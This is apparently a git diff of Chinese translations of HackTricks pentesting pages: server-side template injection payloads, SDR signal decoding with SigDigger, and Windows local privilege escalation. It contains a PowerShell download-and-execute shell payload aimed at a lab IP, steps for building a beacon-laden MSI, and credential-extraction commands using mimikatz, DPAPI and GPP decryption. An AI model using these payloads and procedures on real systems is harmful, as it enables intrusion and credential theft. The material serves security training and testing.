- `{{request.getClass().getDeclaredMethods()[0]}}` - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()
搜索 "com.hubspot.content.hubl.context.TemplateContextRequest" 并发现了 [Jinjava 项目在 Github](https://github.com/HubSpot/jinjava/)。
搜索 "com.hubspot.content.hubl.context.TemplateContextRequest" 并发现了 [Jinjava project on Github](https://github.com/HubSpot/jinjava/)。
```java
{{request.isDebug()}}
//output: False
@ -429,7 +429,7 @@ this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 1
```
**更多信息**
- 在 [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection) 的 Smarty 部分
- 在 Smarty 部分的 [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty)
### Twig (PHP)
@ -481,7 +481,7 @@ array("first_name" => $user.first_name)
### Plates (PHP)
Plates 是一个原生于 PHP 的模板引擎，受到 Twig 的启发。然而，与引入新语法的 Twig 不同，Plates 在模板中利用原生 PHP 代码，使其对 PHP 开发者直观易懂。
Plates 是一个原生于 PHP 的模板引擎，受到 Twig 的启发。然而，与引入新语法的 Twig 不同，Plates 在模板中利用原生 PHP 代码，使其对 PHP 开发者来说直观易懂。
Controller:
```php
@ -635,7 +635,7 @@ curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":
```
- \= 错误
- ${7\*7} = ${7\*7}
- 无
- 无内容
```java
{{#with "s" as |string|}}
{{#with "e"}}
@ -667,9 +667,9 @@ URLencoded:
### JsRender (NodeJS)
| **模板** | **描述** |
| -------- | ------------------------------------- |
| | 评估并渲染输出 |
| | 评估并渲染HTML编码输出 |
| -------- | ------------------------------------ |
| | 评估并渲染输出 |
| | 评估并渲染HTML编码输出 |
| | 注释 |
| 和 | 允许代码（默认禁用） |
@ -777,7 +777,7 @@ range.constructor(
### Python
查看以下页面以了解关于 **绕过沙箱的任意命令执行** 的技巧：
查看以下页面以了解关于 **任意命令执行绕过沙箱** 的技巧：
{{#ref}}
../../generic-methodologies-and-resources/python/bypass-python-sandboxes/
@ -816,9 +816,9 @@ range.constructor(
> Jinja2 是一个功能齐全的 Python 模板引擎。它具有完整的 Unicode 支持、可选的集成沙箱执行环境，广泛使用并且是 BSD 许可的。
- `{{7*7}} = 错误`
- `{{7*7}} = Error`
- `${7*7} = ${7*7}`
- `{{foobar}} 无`
- `{{foobar}} Nothing`
- `{{4*4}}[[5*5]]`
- `{{7*'7'}} = 7777777`
- `{{config}}`
@ -919,8 +919,8 @@ ${x}
- `<%= 7*7 %>` = 49
- `<%= "foo" %>` = foo
- `<%= foo %>` = 无
- `<%= response.write(date()) %>` = \<日期>
- `<%= foo %>` = Nothing
- `<%= response.write(date()) %>` = \<Date>
```xml
<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>
```
@ -972,11 +972,13 @@ return string(out)
### 更多漏洞
查看 [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection) 的其余部分以获取更多漏洞。您还可以在 [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI) 找到有趣的标签信息。
查看 [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection) 以获取更多漏洞。您还可以在 [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI) 找到有趣的标签信息。
## BlackHat PDF
{% file src="../../images/EN-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-BlackHat-15 (1).pdf" %}
{{#file}}
EN-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-BlackHat-15 (1).pdf
{{#endfile}}
## 相关帮助

34
src/todo/hardware-hacking/radio.md
View File

@ -38,15 +38,15 @@
## Interesting tricks
- 当设备发送信息突发时，通常**第一部分是前导码**，因此您**不必担心**如果您**没有找到信息**或**那里有一些错误**。
- 当设备发送信息突发时，通常**第一部分是前导码**，因此您**不必担心**如果您**没有找到信息**或**如果那里有一些错误**。
- 在信息帧中，您通常应该**找到不同的帧彼此对齐**：
![](<../../images/image (1076).png>)
![](<../../images/image (597).png>)
- **在恢复比特后，您可能需要以某种方式处理它们**。例如，在曼彻斯特编码中，上+下将是1或0，下+上将是另一个。因此，1和0的对（上和下）将是真实的1或真实的0。
- 即使信号使用曼彻斯特编码（不可能找到连续两个0或1），您也可能在前导码中**找到多个1或0**！
- **在恢复位之后，您可能需要以某种方式处理它们**。例如，在曼彻斯特编码中，上+下将是1或0，下+上将是另一个。因此，1和0的对（上和下）将是真实的1或真实的0。
- 即使信号使用曼彻斯特编码（不可能找到超过两个0或1连续出现），您也可能在前导码中**找到多个1或0**！
### Uncovering modulation type with IQ
@ -64,13 +64,15 @@
## AM Example
{% file src="../../images/sigdigger_20220308_165547Z_2560000_433500000_float32_iq.raw" %}
{{#file}}
sigdigger_20220308_165547Z_2560000_433500000_float32_iq.raw
{{#endfile}}
### Uncovering AM
#### Checking the envelope
使用[**SigDigger** ](https://github.com/BatchDrake/SigDigger)检查AM信息，仅查看**包络**，您可以看到不同的清晰幅度水平。使用的信号以AM发送脉冲信息，这就是一个脉冲的样子：
使用[**SigDigger** ](https://github.com/BatchDrake/SigDigger)检查AM信息，仅查看**包络**，您可以看到不同的清晰幅度水平。所用信号以AM发送脉冲信息，这就是一个脉冲的样子：
![](<../../images/image (590).png>)
@ -80,7 +82,7 @@
#### Checking the Histogram
您可以**选择包含信息的整个信号**，选择**幅度**模式和**选择**，然后单击**直方图**。您可以观察到仅找到2个清晰的水平
您可以**选择包含信息的整个信号**，选择**幅度**模式和**选择**，然后单击**直方图**。您可以观察到仅发现2个清晰的水平
![](<../../images/image (264).png>)
@ -112,7 +114,7 @@
### Get Bits
发现这是一个**AM调制**信号和**符号率**（并且知道在这种情况下上升意味着1，下降意味着0），非常容易**获取信号中编码的比特**。因此，选择包含信息的信号并配置采样和决策，然后按下采样（检查**幅度**已选择，发现的**符号率**已配置，**Gadner时钟恢复**已选择）：
发现这是一个**AM调制**信号和**符号率**（并且知道在这种情况下某个上表示1，某个下表示0），很容易**获取信号中编码的位**。因此，选择包含信息的信号并配置采样和决策，然后按下采样（检查**幅度**已选择，发现的**符号率**已配置，并选择了**Gadner时钟恢复**）：
![](<../../images/image (965).png>)
@ -125,29 +127,31 @@
![](<../../images/image (644).png>)
现在，为了让SigDigger理解**信息承载水平的范围**，您需要单击**较低水平**并保持按住，直到达到最高水平：
现在，为了让SigDigger理解**信息承载的水平范围**，您需要单击**较低水平**并保持按下，直到达到最高水平：
![](<../../images/image (439).png>)
如果例如有**4个不同的幅度水平**，您应该将**每个符号的比特数配置为2**，并从最小值选择到最大值。
如果例如有**4个不同的幅度水平**，您应该将**每个符号的位数配置为2**，并从最小值选择到最大值。
最后**增加****缩放**和**更改行大小**，您可以看到比特（您可以选择所有并复制以获取所有比特）：
最后，通过**增加****缩放**和**更改行大小**，您可以看到位（您可以选择所有并复制以获取所有位）：
![](<../../images/image (276).png>)
如果信号每个符号有超过1个比特（例如2），SigDigger**无法知道哪个符号是**00、01、10、11，因此它将使用不同的**灰度**来表示每个（如果您复制比特，它将使用**0到3的数字**，您需要处理它们）。
如果信号每个符号有超过1位（例如2），SigDigger**无法知道哪个符号是**00、01、10、11，因此它将使用不同的**灰度**来表示每个（如果您复制位，它将使用**0到3的数字**，您需要处理它们）。
此外，使用**编码**如**曼彻斯特**，上+下可以是**1或0**，下+上可以是1或0。在这些情况下，您需要**处理获得的上升（1）和下降（0）**以替换01或10的对作为0或1。
此外，使用**编码**如**曼彻斯特**，上+下可以是**1或0**，下+上可以是1或0。在这些情况下，您需要**处理获得的上（1）和下（0）**以替换成对的01或10作为0或1。
## FM Example
{% file src="../../images/sigdigger_20220308_170858Z_2560000_433500000_float32_iq.raw" %}
{{#file}}
sigdigger_20220308_170858Z_2560000_433500000_float32_iq.raw
{{#endfile}}
### Uncovering FM
#### Checking the frequencies and waveform
发送信息调制在FM的信号示例：
发送信息调制为FM的信号示例：
![](<../../images/image (725).png>)
@ -193,6 +197,6 @@ IQ没有识别频率的字段（到中心的距离是幅度，角度是相位）
### Get Bits
您可以使用**与AM示例中使用的相同技术**来获取比特，一旦您**发现信号是频率调制的**和**符号率**。
您可以使用**与AM示例中使用的相同技术**来获取位，一旦您**发现信号是频率调制**和**符号率**。
{{#include ../../banners/hacktricks-training.md}}

112
src/windows-hardening/windows-local-privilege-escalation/README.md
View File

@ -121,13 +121,13 @@ reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
```
要查看最后 15 个 PowersShell 日志事件，可以执行：
要查看PowersShell日志中的最后15个事件，可以执行：
```bash
Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView
```
### PowerShell **Script Block Logging**
### PowerShell **脚本块日志记录**
脚本执行的完整活动和全部内容记录被捕获，确保每个代码块在运行时都有文档记录。这个过程保留了每个活动的全面审计轨迹，对取证和分析恶意行为非常有价值。通过在执行时记录所有活动，提供了对该过程的详细见解。
完整的活动和脚本执行的全部内容记录被捕获，确保每个代码块在运行时都被记录。此过程保留了每个活动的全面审计跟踪，对于取证和分析恶意行为非常有价值。通过在执行时记录所有活动，提供了对该过程的详细见解。
```bash
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
@ -154,7 +154,7 @@ Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}|
如果更新不是通过 http**S** 而是通过 http 请求的，您可以危害系统。
您可以通过运行以下命令检查网络是否使用非 SSL 的 WSUS 更新：
您可以通过运行以下命令检查网络是否使用非 SSL WSUS 更新：
```
reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer
```
@ -167,18 +167,20 @@ WUServer REG_SZ http://xxxx-updxx.corp.internal.com:8535
那么，**它是可利用的。** 如果最后一个注册表等于 0，则 WSUS 条目将被忽略。
为了利用这些漏洞，您可以使用工具如：[Wsuxploit](https://github.com/pimps/wsuxploit)，[pyWSUS ](https://github.com/GoSecure/pywsus) - 这些是 MiTM 武器化的利用脚本，用于将“假”更新注入非 SSL WSUS 流量。
为了利用这些漏洞，您可以使用工具如：[Wsuxploit](https://github.com/pimps/wsuxploit)，[pyWSUS ](https://github.com/GoSecure/pywsus) - 这些是 MiTM 武器化的利用脚本，用于将“假”更新注入非 SSL WSUS 流量中。
在这里阅读研究：
{% file src="../../images/CTX_WSUSpect_White_Paper (1).pdf" %}
{{#file}}
CTX_WSUSpect_White_Paper (1).pdf
{{#endfile}}
**WSUS CVE-2020-1013**
[**在这里阅读完整报告**](https://www.gosecure.net/blog/2020/09/08/wsus-attacks-part-2-cve-2020-1013-a-windows-10-local-privilege-escalation-1-day/)。\
基本上，这是这个漏洞利用的缺陷：
> 如果我们有权修改我们的本地用户代理，并且 Windows 更新使用 Internet Explorer 设置中配置的代理，那么我们就有权在本地运行 [PyWSUS](https://github.com/GoSecure/pywsus) 来拦截我们自己的流量，并以提升的用户身份在我们的资产上运行代码。
> 如果我们有权修改本地用户代理，并且 Windows 更新使用 Internet Explorer 设置中配置的代理，那么我们就有权在本地运行 [PyWSUS](https://github.com/GoSecure/pywsus) 来拦截自己的流量，并以提升的用户身份在我们的资产上运行代码。
>
> 此外，由于 WSUS 服务使用当前用户的设置，它还将使用其证书存储。如果我们为 WSUS 主机名生成自签名证书并将此证书添加到当前用户的证书存储中，我们将能够拦截 HTTP 和 HTTPS WSUS 流量。WSUS 不使用 HSTS 类似机制在证书上实现首次使用信任类型的验证。如果所呈现的证书被用户信任并具有正确的主机名，服务将接受它。
@ -186,7 +188,7 @@ WUServer REG_SZ http://xxxx-updxx.corp.internal.com:8535
## KrbRelayUp
在特定条件下，Windows **域** 环境中存在 **本地权限提升** 漏洞。这些条件包括 **LDAP 签名未强制执行** 的环境，用户拥有自我权限，允许他们配置 **基于资源的受限委派 (RBCD)**，以及用户在域内创建计算机的能力。重要的是要注意，这些 **要求** 在 **默认设置** 下满足。
在特定条件下，Windows **域**环境中存在 **本地权限提升** 漏洞。这些条件包括 **LDAP 签名未强制执行**、用户拥有自我权限允许他们配置 **基于资源的受限委派 (RBCD)**，以及用户能够在域内创建计算机。需要注意的是，这些 **要求** 在 **默认设置** 下满足。
在 [**https://github.com/Dec0ne/KrbRelayUp**](https://github.com/Dec0ne/KrbRelayUp) 中找到 **利用**。
@ -231,14 +233,14 @@ create-msi-with-wix.md
### 使用 Visual Studio 创建 MSI
- **使用** Cobalt Strike 或 Metasploit 生成一个 **新的 Windows EXE TCP 负载** 在 `C:\privesc\beacon.exe`
- 打开 **Visual Studio**，选择 **创建新项目**，在搜索框中输入 "installer"。选择 **Setup Wizard** 项目并点击 **下一步**。
- 打开 **Visual Studio**，选择 **创建新项目**，并在搜索框中输入 "installer"。选择 **Setup Wizard** 项目并点击 **下一步**。
- 给项目命名，例如 **AlwaysPrivesc**，使用 **`C:\privesc`** 作为位置，选择 **将解决方案和项目放在同一目录中**，然后点击 **创建**。
- 一直点击 **下一步**，直到到达第 3 步（选择要包含的文件）。点击 **添加** 并选择您刚生成的 Beacon 负载。然后点击 **完成**。
- 在 **解决方案资源管理器** 中高亮 **AlwaysPrivesc** 项目，在 **属性** 中，将 **TargetPlatform** 从 **x86** 更改为 **x64**。
- 在 **解决方案资源管理器** 中突出显示 **AlwaysPrivesc** 项目，在 **属性** 中，将 **TargetPlatform** 从 **x86** 更改为 **x64**。
- 还有其他属性可以更改，例如 **作者** 和 **制造商**，这可以使安装的应用看起来更合法。
- 右键单击项目并选择 **查看 > 自定义操作**。
- 右键单击 **安装** 并选择 **添加自定义操作**。
- 双击 **应用程序文件夹**，选择您的 **beacon.exe** 文件并点击 **确定**。这将确保在安装程序运行时立即执行 beacon 负载。
- 双击 **应用程序文件夹**，选择您的 **beacon.exe** 文件并点击 **确定**。这将确保在运行安装程序时立即执行 beacon 负载。
- 在 **自定义操作属性** 下，将 **Run64Bit** 更改为 **True**。
- 最后，**构建它**。
- 如果显示警告 `File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86'`，请确保将平台设置为 x64。
@ -261,13 +263,13 @@ reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit
```
### WEF
Windows 事件转发，了解日志发送到哪里是很有趣的
Windows Event Forwarding，了解日志发送到哪里是很有趣的。
```bash
reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager
```
### LAPS
**LAPS** 旨在 **管理本地管理员密码**，确保每个密码都是 **唯一的、随机的，并定期更新** 在加入域的计算机上。这些密码安全地存储在 Active Directory 中，只有通过 ACL 授予足够权限的用户才能访问，从而允许他们在获得授权的情况下查看本地管理员密码。
**LAPS** 旨在 **管理本地管理员密码**，确保每个密码在加入域的计算机上都是 **唯一、随机且定期更新** 的。这些密码安全地存储在 Active Directory 中，只有通过 ACL 授予足够权限的用户才能访问，从而允许他们在获得授权的情况下查看本地管理员密码。
{{#ref}}
../active-directory-methodology/laps.md
@ -275,14 +277,14 @@ reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\Subs
### WDigest
如果启用，**明文密码存储在 LSASS**（本地安全授权子系统服务）。\
[**关于 WDigest 的更多信息请查看此页面**](../stealing-credentials/credentials-protections.md#wdigest)。
如果启用，**明文密码存储在 LSASS**（本地安全授权子系统服务）中。\
[**有关 WDigest 的更多信息，请访问此页面**](../stealing-credentials/credentials-protections.md#wdigest)。
```bash
reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v UseLogonCredential
```
### LSA 保护
从 **Windows 8.1** 开始，微软引入了对本地安全机构 (LSA) 的增强保护，以 **阻止** 不受信任的进程 **读取其内存** 或注入代码，从而进一步增强系统安全性。\
从 **Windows 8.1** 开始，微软引入了对本地安全机构 (LSA) 的增强保护，以 **阻止** 不受信任的进程 **读取其内存** 或注入代码，从而进一步增强系统安全。\
[**有关 LSA 保护的更多信息**](../stealing-credentials/credentials-protections.md#lsa-protection)。
```bash
reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL
@ -296,7 +298,7 @@ reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags
### Cached Credentials
**域凭据**由**本地安全机构**（LSA）进行认证，并被操作系统组件使用。当用户的登录数据通过注册的安全包进行认证时，通常会为该用户建立域凭据。\
[**有关缓存凭据的更多信息请点击这里**](../stealing-credentials/credentials-protections.md#cached-credentials).
[**有关缓存凭据的更多信息**](../stealing-credentials/credentials-protections.md#cached-credentials)。
```bash
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT
```
@ -321,7 +323,7 @@ Get-LocalGroupMember Administrators | ft Name, PrincipalSource
```
### 特权组
如果您**属于某个特权组，您可能能够提升权限**。在这里了解特权组及其滥用方式以提升权限：
如果您**属于某个特权组，您可能能够提升权限**。在这里了解特权组及如何滥用它们以提升权限：
{{#ref}}
../active-directory-methodology/privileged-groups-and-token-privileges.md
@ -330,7 +332,7 @@ Get-LocalGroupMember Administrators | ft Name, PrincipalSource
### 令牌操作
**了解更多**关于**令牌**的信息，请访问此页面：[**Windows Tokens**](../authentication-credentials-uac-and-efs/index.html#access-tokens)。\
查看以下页面以**了解有趣的令牌**及其滥用方式：
查看以下页面以**了解有趣的令牌**及如何滥用它们：
{{#ref}}
privilege-escalation-abusing-tokens.md
@ -359,7 +361,7 @@ powershell -command "Get-Clipboard"
### 文件和文件夹权限
首先，列出进程 **检查进程命令行中的密码**。\
检查您是否可以 **覆盖某个正在运行的二进制文件**，或者您是否对二进制文件夹具有写权限，以利用可能的 [**DLL Hijacking attacks**](dll-hijacking/index.html)：
检查您是否可以 **覆盖某个正在运行的二进制文件**，或者您是否对二进制文件夹具有写权限，以利用可能的 [**DLL 劫持攻击**](dll-hijacking/index.html)：
```bash
Tasklist /SVC #List processes running and services
tasklist /v /fi "username eq system" #Filter "system" processes
@ -427,11 +429,11 @@ accesschk.exe -uwcqv %USERNAME% * /accepteula
accesschk.exe -uwcqv "BUILTIN\Users" * /accepteula 2>nul
accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version
```
[您可以在此处下载适用于XP的accesschk.exe](https://github.com/ankh2054/windows-pentest/raw/master/Privelege/accesschk-2003-xp.exe)
[您可以在此处下载适用于 XP 的 accesschk.exe](https://github.com/ankh2054/windows-pentest/raw/master/Privelege/accesschk-2003-xp.exe)
### 启用服务
如果您遇到此错误（例如与SSDPSRV）：
如果您遇到此错误（例如 SSDPSRV）：
_系统错误 1058 已发生。_\
&#xNAN;_&#x54;该服务无法启动，可能是因为它被禁用或没有与之关联的启用设备。_
@ -465,16 +467,16 @@ net stop [service name] && net start [service name]
权限可以通过各种权限提升：
- **SERVICE_CHANGE_CONFIG**: 允许重新配置服务二进制文件。
- **WRITE_DAC**: 使得权限重新配置成为可能，从而能够更改服务配置。
- **WRITE_DAC**: 使权限重新配置成为可能，从而能够更改服务配置。
- **WRITE_OWNER**: 允许获取所有权和权限重新配置。
- **GENERIC_WRITE**: 继承更改服务配置的能力。
- **GENERIC_ALL**: 也继承更改服务配置的能力。
为了检测和利用此漏洞，可以使用 _exploit/windows/local/service_permissions_。
对于此漏洞的检测和利用，可以使用 _exploit/windows/local/service_permissions_。
### 服务二进制文件的弱权限
**检查您是否可以修改由服务执行的二进制文件**，或者您是否在二进制文件所在的文件夹中**具有写权限**（[**DLL Hijacking**](dll-hijacking/index.html)）**。**\
**检查您是否可以修改由服务执行的二进制文件**，或者您是否在二进制文件所在的文件夹中具有**写权限**（[**DLL Hijacking**](dll-hijacking/index.html)）。\
您可以使用 **wmic**（不在 system32 中）获取由服务执行的每个二进制文件，并使用 **icacls** 检查您的权限：
```bash
for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt
@ -555,7 +557,7 @@ Windows 允许用户指定在服务失败时采取的操作。此功能可以配
### 已安装的应用程序
检查 **二进制文件的权限**（也许你可以覆盖一个并提升权限）和 **文件夹** ([DLL Hijacking](dll-hijacking/index.html))。
检查 **二进制文件的权限**（也许你可以覆盖一个并提升权限）和 **文件夹**（[DLL Hijacking](dll-hijacking/index.html)）。
```bash
dir /a "C:\Program Files"
dir /a "C:\Program Files (x86)"
@ -593,7 +595,7 @@ Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Ac
```
### 开机时运行
**检查您是否可以覆盖某些将由不同用户执行的注册表或二进制文件。**\
**检查您是否可以覆盖某些将由其他用户执行的注册表或二进制文件。**\
**阅读**以下页面以了解有关有趣的**自动运行位置以提升权限**的更多信息：
{{#ref}}
@ -602,7 +604,7 @@ privilege-escalation-with-autorun-binaries.md
### 驱动程序
查找可能的**第三方奇怪/易受攻击**驱动程序
寻找可能的**第三方奇怪/易受攻击**的驱动程序
```bash
driverquery
driverquery.exe /fo table
@ -673,7 +675,7 @@ C:\Windows\System32\wsl.exe
```
二进制 `bash.exe` 也可以在 `C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe` 中找到。
如果你获得了 root 用户权限，你可以在任何端口上监听（第一次使用 `nc.exe` 在某个端口上监听时，它会通过 GUI 询问是否允许 `nc` 通过防火墙）。
如果你获得了 root 用户权限，你可以在任何端口上监听（第一次使用 `nc.exe` 在端口上监听时，它会通过 GUI 询问是否允许 `nc` 通过防火墙）。
```bash
wsl whoami
./ubuntun1604.exe config --default-user root
@ -705,7 +707,7 @@ Windows Vault 存储用户在服务器、网站和其他程序的凭据，**Wind
Windows Vault 存储 Windows 可以自动登录用户的凭据，这意味着任何 **需要凭据来访问资源**（服务器或网站）的 **Windows 应用程序都可以使用此凭据管理器**和 Windows Vault，并使用提供的凭据，而不是用户每次都输入用户名和密码。
除非应用程序与凭据管理器交互，否则我认为它们不可能使用给定资源的凭据。因此，如果您的应用程序想要使用 Vault，它应该以某种方式 **与凭据管理器通信并请求该资源的凭据**，从默认存储 Vault 中获取。
除非应用程序与凭据管理器交互，否则我认为它们不可能使用给定资源的凭据。因此，如果您的应用程序想要使用 Vault，它应该以某种方式 **与凭据管理器通信并请求该资源的凭据** 从默认存储 Vault。
使用 `cmdkey` 列出机器上存储的凭据。
```bash
@ -715,7 +717,7 @@ Target: Domain:interactive=WORKGROUP\Administrator
Type: Domain Password
User: WORKGROUP\Administrator
```
然后您可以使用 `runas` 命令和 `/savecred` 选项来使用保存的凭据。以下示例通过 SMB 共享调用远程二进制文件。
然后您可以使用 `runas` 和 `/savecred` 选项来使用保存的凭据。以下示例通过 SMB 共享调用远程二进制文件。
```bash
runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe"
```
@ -729,7 +731,7 @@ C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:\us
**数据保护 API (DPAPI)** 提供了一种对称加密数据的方法，主要用于 Windows 操作系统中对非对称私钥的对称加密。此加密利用用户或系统秘密显著贡献熵。
**DPAPI 通过从用户的登录秘密派生的对称密钥来实现密钥的加密**。在涉及系统加密的场景中，它利用系统的域身份验证秘密。
**DPAPI 通过从用户的登录秘密派生的对称密钥来实现密钥的加密**。在涉及系统加密的场景中，它利用系统的域认证秘密。
使用 DPAPI 加密的用户 RSA 密钥存储在 `%APPDATA%\Microsoft\Protect\{SID}` 目录中，其中 `{SID}` 代表用户的 [安全标识符](https://en.wikipedia.org/wiki/Security_Identifier)。**DPAPI 密钥与保护用户私钥的主密钥位于同一文件中**，通常由 64 字节的随机数据组成。（重要的是要注意，该目录的访问受到限制，无法通过 CMD 中的 `dir` 命令列出其内容，但可以通过 PowerShell 列出）。
```powershell
@ -738,7 +740,7 @@ Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect\
```
您可以使用 **mimikatz module** `dpapi::masterkey` 以及适当的参数 (`/pvk` 或 `/rpc`) 来解密它。
**受主密码保护的凭据文件** 通常位于：
由主密码保护的 **凭据文件** 通常位于：
```powershell
dir C:\Users\username\AppData\Local\Microsoft\Credentials\
dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\
@ -791,11 +793,11 @@ HKCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
%localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings
```
使用 **Mimikatz** `dpapi::rdg` 模块和适当的 `/masterkey` 来 **解密任何 .rdg 文件**\
您可以使用 Mimikatz `sekurlsa::dpapi` 模块 **从内存中提取许多 DPAPI 主密钥**
您可以使用 Mimikatz `sekurlsa::dpapi` 模块从内存中 **提取许多 DPAPI 主密钥**。
### 便签
人们经常在 Windows 工作站上使用便签应用程序来 **保存密码** 和其他信息，而没有意识到它是一个数据库文件。该文件位于 `C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite`，始终值得搜索和检查。
人们常常在 Windows 工作站上使用便签应用程序来 **保存密码** 和其他信息，而没有意识到它是一个数据库文件。该文件位于 `C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite`，始终值得搜索和检查。
### AppCmd.exe
@ -884,7 +886,7 @@ $ErrorActionPreference = $OrigError
### SCClient / SCCM
检查 `C:\Windows\CCM\SCClient.exe` 是否存在。\
安装程序是 **以 SYSTEM 权限运行的**，许多程序容易受到 **DLL Sideloading（信息来自** [**https://github.com/enjoiz/Privesc**](https://github.com/enjoiz/Privesc)**）。**
安装程序以 **SYSTEM 权限** 运行，许多程序易受 **DLL Sideloading 攻击（信息来自** [**https://github.com/enjoiz/Privesc**](https://github.com/enjoiz/Privesc)**）。**
```bash
$result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -Property * | select Name,SoftwareVersion
if ($result) { $result }
@ -902,7 +904,7 @@ reg query HKCU\Software\SimonTatham\PuTTY\SshHostKeys\
```
### SSH 密钥在注册表中
SSH 私钥可以存储在注册表键 `HKCU\Software\OpenSSH\Agent\Keys` 中，因此您应该检查那里是否有任何有趣的内容：
SSH 私钥可以存储在注册表项 `HKCU\Software\OpenSSH\Agent\Keys` 中，因此您应该检查那里是否有任何有趣的内容：
```bash
reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys'
```
@ -978,11 +980,11 @@ AppData\Roaming\gcloud\access_tokens.db
### Cached GPP Pasword
之前有一个功能允许通过组策略首选项 (GPP) 在一组机器上部署自定义本地管理员帐户。然而，这种方法存在重大安全缺陷。首先，存储在 SYSVOL 中的组策略对象 (GPO) 作为 XML 文件，可以被任何域用户访问。其次，这些 GPP 中的密码使用公开文档的默认密钥通过 AES256 加密，任何经过身份验证的用户都可以解密。这构成了严重风险，因为这可能允许用户获得提升的权限。
之前有一个功能，允许通过组策略首选项（GPP）在一组机器上部署自定义本地管理员帐户。然而，这种方法存在重大安全缺陷。首先，存储在 SYSVOL 中的组策略对象（GPO）作为 XML 文件，可以被任何域用户访问。其次，这些 GPP 中的密码使用公开文档的默认密钥通过 AES256 加密，任何经过身份验证的用户都可以解密。这构成了严重风险，因为这可能允许用户获得提升的权限。
为了减轻这一风险，开发了一个功能，用于扫描包含非空 "cpassword" 字段的本地缓存 GPP 文件。找到此类文件后，该功能解密密码并返回一个自定义 PowerShell 对象。该对象包含有关 GPP 和文件位置的详细信息，有助于识别和修复此安全漏洞。
在 `C:\ProgramData\Microsoft\Group Policy\history` 或 _**C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history** (在 W Vista 之前)_ 中搜索这些文件：
在 `C:\ProgramData\Microsoft\Group Policy\history` 或 _**C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history**（在 W Vista 之前）_ 中搜索这些文件：
- Groups.xml
- Services.xml
@ -991,7 +993,7 @@ AppData\Roaming\gcloud\access_tokens.db
- Printers.xml
- Drives.xml
**要解密 cPassword:**
**要解密 cPassword：**
```bash
#To decrypt these passwords you can decrypt it using
gpp-decrypt j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw
@ -1184,7 +1186,7 @@ COM类和接口在注册表中分别定义在**HKEY\_**_**CLASSES\_**_**ROOT\CLS
com-hijacking.md
{{#endref}}
### **在文件和注册表中进行通用密码搜索**
### **在文件和注册表中搜索通用密码**
**搜索文件内容**
```bash
@ -1207,7 +1209,7 @@ REG QUERY HKCU /F "password" /t REG_SZ /S /d
```
### 搜索密码的工具
[**MSF-Credentials Plugin**](https://github.com/carlospolop/MSF-Credentials) **是一个msf** 插件，我创建这个插件是为了 **自动执行每个搜索凭据的metasploit POST模块** 在受害者内部。\
